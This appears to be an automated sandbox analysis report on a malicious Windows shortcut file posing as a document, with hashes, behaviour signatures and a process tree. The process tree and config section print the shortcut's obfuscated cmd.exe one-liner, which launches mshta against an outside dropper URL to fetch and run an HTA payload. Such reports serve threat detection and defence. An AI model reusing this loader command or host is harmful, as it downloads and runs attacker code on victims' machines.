Analysis
- max time kernel
40s - max time network
38s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 17:38
Static task
static1
Behavioral task
behavioral1
Sample
DOC-H23APO.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-H23APO.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-H23APO.lnk
- Size 1KB
- Sample260803-v7ypcsda88
- SHA256 0938a56485d27e534bf19b0e40c921b9db79b39823b4afd54705d466f19b12cd
- MD5 9769d0cd4d35b23a6e0a1d542eb594ad
- SHA1 36fe41b662ce296a638c34e002ec3d910c893ed6
- SHA512 e1551126afa09aa31f34d4089184f530844aa547f2cc1609984ae515c9b00e18393e85048dd3cc6451de546ad2dc99162fc215f72bb2fd5f655a8cdebeb9e6e3
- TLSH T175319C002FFC0914F3B78E7388BB572445BBB8558E20C62D0041454C1032A15E23AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4920 cmd.exe 3892 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4920 wrote to memory of 3892 4920 cmd.exe 90 PID 3892 wrote to memory of 4228 3892 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-H23APO.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set EB=msh&&set bPDyN=ta&&start "" !EB!!bPDyN! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3892 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4228
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